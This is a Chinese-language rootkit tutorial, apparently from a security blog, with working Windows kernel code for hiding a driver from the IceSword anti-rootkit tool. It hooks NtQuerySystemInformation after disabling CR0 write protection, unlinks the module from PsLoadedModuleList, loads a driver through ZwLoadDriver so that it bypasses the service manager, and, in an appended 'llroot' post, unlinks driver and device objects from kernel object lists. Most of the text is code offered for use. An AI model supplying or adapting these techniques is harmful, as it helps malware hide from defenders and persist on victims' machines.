|
对于内核模块,我原以为IS会通过获取内核变量PsLoadedModuleList,然后在通过这个来遍历所有的内核模块。假设此时获得结果1。通过调用函数NtQuerySystemInformation,参数SystemModuleInformation,假设此时获得结果2。再把结果1与结果2进行比较,这样就会发现被隐藏的模块。但事实证明我想的太复杂了。而IS只进行了获取结果2的过程。而没有去执行获取结果1的过程。
下面的代码可以在IS下隐藏自己的内核模块,主要思路是,首先获取一个自己这个模块中任意函数的地址,把该地址给DriverAddr,利用DriverAddr在上述的结果2中定位,通过DriverAddr肯定会大于自己这个模块的起始地址并且小于自己这个模块的结束地址来定位。
DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
NTSTATUS NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL )
{
NTSTATUS Status;
_asm //还原
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
Status = ZwQuerySystemInformation (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL );
_asm //替换
{
pushad
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov [edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov [edi+4], ax
popad
}
if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb ) //是否是获取模块信息
{
return Status;
}
_asm
{
pushad
mov edi, SystemInformation
mov ecx, [edi] //eax=模块数目
add edi, 0x4
NextModuleInfo:
mov eax, [edi+0x8]
mov edx, [edi+0xC]
add edx, eax
mov ebx, DriverAddr
cmp ebx, eax
ja FirstMatch
dec ecx
test ecx, ecx
jz ArrayEnd
add edi, 0x11c
jmp NextModuleInfo
FirstMatch:
cmp ebx, edx
jb SecMatch //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块
dec ecx
test ecx, ecx
jz ArrayEnd
add edi, 0x11c
jmp NextModuleInfo
SecMatch:
dec ecx
xor eax, eax
mov ax, 0x11c
mul cx
xor ecx, ecx
mov ecx, eax
mov esi, edi
add esi, 0x11c
rep movsb
mov edi, SystemInformation
mov eax, [edi]
dec eax
mov [edi], eax //完成
ArrayEnd:
popad
}
return Status;
}
NTSTATUS PatchNtQuerySystemInformation()
{
NTSTATUS Status;
OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
if ( OldNtQuerySystemInformation == NULL )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm //关中断
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
_asm
{
pushad
//获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
lea eax, NewNtQuerySystemInformation
mov DriverAddr, eax //把NewNtQuerySystemInformation函数地址给DriverAddr
mov edi, OldNtQuerySystemInformation
mov eax, [edi]
mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
mov ax, [edi+4]
mov word ptr ResumCodeNtQuerySystemInformation[4], ax
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行
mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
lea edi, NewNtQuerySystemInformation
mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把构造好的代码进行替换
mov edi, OldNtQuerySystemInformation
mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
mov dword ptr[edi], eax
mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
mov word ptr[edi+4], ax
popad
}
_asm //开中断
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
Status = RepairNtosFile (
(DWORD)OldNtQuerySystemInformation,
(DWORD)&CrackCodeNtQuerySystemInformation[0] );
return Status;
}
你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的资源中给出了MODULE_ENTRY的结构定义如下:
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORD unknown[4];
DWORD base;
DWORD driver_start;
DWORD unk1;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小.从新对该结构定义如下:
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORD unknown[4];
DWORD base;
DWORD driver_start;
DWORD Size;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是ntoskrnl.exe,此时它的base成员的值就是ntoskrnl.exe在内存中的起始地址.这是就可以顺手取一下NtoskrnlBase的值。
有一点要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系统不会把你加入到PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry()已经返回成功,马上把自己从PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到PsLoadedModuleList中去搂一遍了。
DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod;
DWORD unknown[4];
DWORD base;
DWORD driver_start;
DWORD Size;
UNICODE_STRING driver_Path;
UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
NTSTATUS GetPsLoadedModuleListPtr()
{
UNICODE_STRING UStrName;
DWORD KdEnableDebuggerAddr;
DWORD InitSystem=0;
DWORD KdDebuggerDataBlock=0;
PMODULE_ENTRY NtosModPtr;
unsigned char * DebuggerDataBlockPtr;
unsigned char * Sysinit;
int i,j;
RtlInitUnicodeString (
&UStrName,
L"KdEnableDebugger" );
KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );
if ( !KdEnableDebuggerAddr )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
{
if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
{
_asm
{
pushad
mov edi, Sysinit
mov eax, [edi+0x8]
add edi, 0xC
add edi, eax
mov InitSystem, edi
popad
}
}
if ( InitSystem != 0) break;
}
if ( InitSystem == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
{
if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
{
DebuggerDataBlockPtr--;
DebuggerDataBlockPtr--;
for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
{
if ( *DebuggerDataBlockPtr == 0x68 )
{
_asm
{
pushad
mov edi, DebuggerDataBlockPtr
inc edi
mov eax, [edi]
mov KdDebuggerDataBlock, eax
popad
}
break;
}
}
}
if ( KdDebuggerDataBlock != 0 )
{
break;
}
}
if ( KdDebuggerDataBlock == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
_asm
{
pushad
mov edi, KdDebuggerDataBlock
mov eax, [edi+0x48]
mov PsLoadedModuleListPtr, eax
popad
}
if ( PsLoadedModuleListPtr == 0 )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
//获取 Ntoskrnl 的起始地址
NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );
NtoskrnlBase = (DWORD) ( NtosModPtr->base );
return STATUS_SUCCESS;
}
NTSTATUS RemoveModule ( )
{
DWORD RemoveModleAddr;
PMODULE_ENTRY PModPtr_Current;
PMODULE_ENTRY PModPtr_Flink;
PMODULE_ENTRY PModPtr_Blink;
PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);
//Get RemoveModle Addr
RemoveModleAddr= DriverAddr;
for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
{
if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
{
PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
IsDelModule=TRUE;
break;
}
}
if ( IsDelModule != TRUE )
{
return STATUS_DEVICE_CONFIGURATION_ERROR;
}
return STATUS_SUCCESS;
}
上面这两个函数中,GetPsLoadedModuleListPtr()是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule()用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1、首先自己在注册表的服务项中添加一个自己的服务名字项。
2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
NTSTATUS
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName );
下面的代码给出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
HKEY RegKey;
HKEY hLicenses;
DWORD disp;
DWORD ErrorControl=NULL;
DWORD ProcessID;
DWORD Start=3;
DWORD Type=1;
LONG Regrt;
DWORD ZwLoadDriver;
DWORD RtlInitUnicodeString;
UNICODE_STRING RegService;
PCWSTR RegServicePath= L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath";
TCHAR DriverFilePath[MAX_PATH] = "\\??\\";
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&hLicenses );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt=RegCreateKeyEx (
hLicenses,
"neverdeath",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&RegKey,
&disp );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegOpenKeyEx (
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\neverdeath",
0,
KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
&RegKey );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"ErrorControl",
NULL,
REG_DWORD,
(const unsigned char *)(&ErrorControl),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
strcat(DriverFilePath, szDir);
Regrt = RegSetValueEx (
RegKey,
"ImagePath",
NULL,
REG_EXPAND_SZ,
(const unsigned char *)(&DriverFilePath),
strlen( DriverFilePath ) );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Start",
NULL,
REG_DWORD,
(const unsigned char *)(&Start),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
Regrt = RegSetValueEx (
RegKey,
"Type",
NULL,
REG_DWORD,
(const unsigned char *)(&Type),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
//还记得前面隐藏进程时,我们进程ID是从注册表中取的
//下面就是把进程ID写入注册表,不会影响驱动的加载
ProcessID=GetCurrentProcessId();
Regrt = RegSetValueEx (
RegKey,
"ProcessID",
NULL,
REG_DWORD,
(const unsigned char *)(&ProcessID),
4 );
if ( Regrt != ERROR_SUCCESS )
{
return false;
}
CloseHandle( RegKey );
ZwLoadDriver = (DWORD) GetProcAddress (
GetModuleHandle( "ntdll.dll" ),
"ZwLoadDriver" );
RtlInitUnicodeString = (DWORD) GetProcAddress(
GetModuleHandle( "ntdll.dll" ),
"RtlInitUnicodeString" );
_asm
{
pushad
push RegServicePath
lea edi, RegService
push edi
call RtlInitUnicodeString //装载UNICODE字符
lea edi, RegService
push edi
call ZwLoadDriver
popad
}
return true;
}
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
------------------------------------------
参考文章:
wuyanfeng 《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !!
tombkeeper 《获取Windows 系统的内核变量》 http://www.xfocus.net/articles/200408/724.html
JIURL 《IRP 乱杂谈》 http://jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http://jiurl.yeah.net/
JIURL 《JIURL玩玩Win2k 对象》 http://jiurl.yeah.net/
sinister 《隐藏任意进程,目录/文件,注册表,端口》
能记得住的文章就这几个了。
http://www.xfocus.net/articles/200512/841.html
本文出自 51CTO.COM技术博客
隐藏内核模块的方法
方法是:remove module from driver objects
remove module from device objects
在rootkit.com上一个russian hacker发的文章中提到这两种方法,和他交流了下,在llroot中实现了,代码贴出来灌水:
/******************************************************************************
**
** The following routines implement hide driver by removing module from
** driver objects and device objects
**
*******************************************************************************/
void RemoveModuleFromDriverObjects(void)
{
POBJECT_TYPE DriverType=*IoDriverObjectType;
PLIST_ENTRY e_prev,e_next,entry0,entry1;
PDRIVER_OBJECT obj;
PUNICODE_STRING punistrDriverName;
PANSI_STRING pstrDriverName;
NTSTATUS ntStatus;
ULONG d_size;
entry0=DriverType->ObjectListHead.Flink;
entry1=entry0;
punistrDriverName=(PUNICODE_STRING) ExAllocatePool(PagedPool, sizeof(UNICODE_STRING)+(sizeof(WCHAR)*1024));
if (punistrDriverName == NULL)
{
DbgPrint("llroot-->punistrDriverName allocate failed\n");
return;
}
punistrDriverName->Length=0;
punistrDriverName->MaximumLength = 1022;
punistrDriverName->Buffer = (PWSTR)((DWORD)punistrDriverName + sizeof(UNICODE_STRING));
pstrDriverName=(PANSI_STRING)ExAllocatePool(PagedPool,sizeof(ANSI_STRING)+sizeof(CHAR)*1024);
if(pstrDriverName== NULL)
{
ExFreePool(punistrDriverName);
return;
}
pstrDriverName->Length=0;
pstrDriverName->MaximumLength=1022;
pstrDriverName->Buffer=(PCHAR)((DWORD)pstrDriverName + sizeof(ANSI_STRING));
do
{
obj=(PDRIVER_OBJECT)((PBYTE)entry1+0x28);
RtlFillMemory(punistrDriverName->Buffer,1022,'0');
punistrDriverName->Length=0;
punistrDriverName->MaximumLength=1022;
ntStatus = ObQueryNameString(obj,
(POBJECT_NAME_INFORMATION) punistrDriverName,
punistrDriverName->MaximumLength,
&d_size);
if(!NT_SUCCESS(ntStatus))
goto next;
DbgPrint("llroot-->Module Name:%S\n",punistrDriverName->Buffer);
if(RtlUnicodeStringToAnsiString(pstrDriverName,punistrDriverName,FALSE)==STATUS_SUCCESS)
{
pstrDriverName->Length=GetBaseModuleName(pstrDriverName->Buffer,pstrDriverName->Length);
DbgPrint("llroot-->pstrDivername:%s\t\t length:%d\n",pstrDriverName->Buffer,pstrDriverName->Length);
if(WalkHideDriverList(pstrDriverName->Buffer,pstrDriverName->Length-1))
{
DbgPrint("llroot-->Now we hide driver:%s\n",pstrDriverName->Buffer);
e_prev = entry1->Blink;
e_next = entry1->Flink;
e_prev->Flink = e_next;
e_next->Blink = e_prev;
}
}
next:
entry1 = entry1->Flink;
}while(entry1!=entry0);
ExFreePool(punistrDriverName);
ExFreePool(pstrDriverName);
}
void RemoveModuleFromDeviceObjects(PDRIVER_OBJECT pDriverObj)
{
POBJECT_TYPE DeviceType=*IoDeviceObjectType;
PLIST_ENTRY e_prev,e_next,entry0,entry1;
PDEVICE_OBJECT obj;
entry0=DeviceType->ObjectListHead.Flink;
entry1=entry0;
do
{
obj=(PDEVICE_OBJECT)((PBYTE)entry1+0x28);
if((pDriverObj!=NULL)&&(obj->DriverObject==pDriverObj))
{
DbgPrint("llroot-->Now we hide device:0x%.8x\n",(DWORD)obj);
e_prev = entry1->Blink;
e_next = entry1->Flink;
e_prev->Flink = e_next;
e_next->Blink = e_prev;
goto next;
}
if(WalkHideDeviceList(obj))
{
DbgPrint("llroot-->Now we hide device:0x%.8x\n",(DWORD)obj);
e_prev = entry1->Blink;
e_next = entry1->Flink;
e_prev->Flink = e_next;
e_next->Blink = e_prev;
}
next:
entry1 = entry1->Flink;
}while(entry1!=entry0);
} |
|